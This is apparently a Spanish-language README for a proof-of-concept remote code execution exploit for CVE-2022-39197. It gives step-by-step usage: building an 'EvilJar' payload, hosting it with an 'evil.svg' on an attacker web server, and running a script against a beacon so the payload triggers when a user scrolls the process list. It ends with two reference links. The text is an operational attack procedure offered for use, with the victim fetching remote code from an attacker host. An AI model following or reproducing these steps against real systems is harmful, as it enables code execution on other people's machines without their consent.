CVE-2022-39197 RCE POC

Uso

• Preparar el Payload

1. Edita Line 19 con tu payload en EvilJar/src/main/java/Exploit.java
2. Construye usando el jar mvn clean compile assembly:single
3. Mueve EvilJar-1.0-jar-with-dependencies.jar desde EvilJar/target/ a la carpeta serve/
4. Edita serve\evil.svg y reemplaza [attacker]
5. Sirve usando python3 -m http.server 8080

• Ejecutar el Exploit

python3 cve-2022-39197.py beacon.exe http://10.10.10.2:8080/evil.svg

El payload se activará tan pronto como el usuario se desplace por la Lista de Procesos

POC.JPG?

Enlaces de Referencia

https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Hay un gran análisis en profundidad de esta vulnerabilidad https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html